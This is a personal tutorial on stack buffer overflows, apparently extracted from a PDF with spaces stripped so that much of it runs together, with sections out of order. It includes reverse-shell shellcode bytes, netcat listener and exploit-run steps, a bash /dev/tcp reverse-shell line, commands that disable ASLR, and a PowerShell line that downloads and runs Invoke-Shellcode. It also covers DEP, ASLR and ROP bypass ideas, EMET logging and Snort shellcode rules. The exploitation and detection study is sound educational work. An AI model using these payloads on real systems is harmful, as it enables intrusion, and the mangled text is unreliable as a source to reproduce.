Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
